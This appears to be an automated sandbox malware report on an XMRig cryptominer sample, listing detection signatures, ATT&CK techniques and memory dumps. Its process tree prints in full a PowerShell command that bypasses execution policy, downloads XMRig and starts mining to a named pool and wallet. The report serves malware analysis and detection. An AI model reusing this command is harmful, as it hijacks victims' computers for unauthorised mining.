Analysis
- max time kernel
899s - max time network
899s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
02/05/2026, 04:28
General
- Target wtf - Copy (7).exe
- Size 235KB
- Sample260502-e367yacz5m
- SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\wtf - Copy (7).exe"C:\Users\Admin\AppData\Local\Temp\wtf - Copy (7).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe" -o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_5f20bt14.b2y.ps1
xmrig.exe
memory/896-17-0x000001F4BC5F0000-0x000001F4BC5FC000-memory.dmp
memory/896-19-0x000001F4D4A80000-0x000001F4D4A90000-memory.dmp
memory/896-4-0x000001F4D4A80000-0x000001F4D4A90000-memory.dmp
memory/896-12-0x000001F4D4980000-0x000001F4D49A2000-memory.dmp
memory/896-13-0x000001F4D4EE0000-0x000001F4D4F26000-memory.dmp
memory/896-14-0x000001F4D4A80000-0x000001F4D4A90000-memory.dmp
memory/896-15-0x000001F4D4A80000-0x000001F4D4A90000-memory.dmp
memory/896-32-0x000001F4D4A40000-0x000001F4D4A5C000-memory.dmp
memory/896-25-0x00007FF4D60C0000-0x00007FF4D60D0000-memory.dmp
memory/896-18-0x000001F4BC680000-0x000001F4BC692000-memory.dmp
memory/896-5-0x000001F4D4A80000-0x000001F4D4A90000-memory.dmp
memory/896-74-0x000001F4D4A80000-0x000001F4D4A90000-memory.dmp
memory/896-16-0x000001F4BA930000-0x000001F4BA961000-memory.dmp
memory/896-33-0x000001F4D4F30000-0x000001F4D4FE3000-memory.dmp
memory/896-34-0x000001F4D4A30000-0x000001F4D4A3A000-memory.dmp
memory/896-35-0x000001F4D4A40000-0x000001F4D4A52000-memory.dmp
memory/896-36-0x000001F4D4A60000-0x000001F4D4A6A000-memory.dmp
memory/896-58-0x000001F4D4A80000-0x000001F4D4A90000-memory.dmp
memory/896-73-0x00007FF4D60C0000-0x00007FF4D60D0000-memory.dmp
memory/1900-69-0x0000023969F50000-0x0000023969F70000-memory.dmp
memory/1900-75-0x0000023968930000-0x0000023968961000-memory.dmp
memory/4424-0-0x00007FF622420000-0x00007FF622462000-memory.dmp
memory/4424-1-0x000001A712A00000-0x000001A712A31000-memory.dmp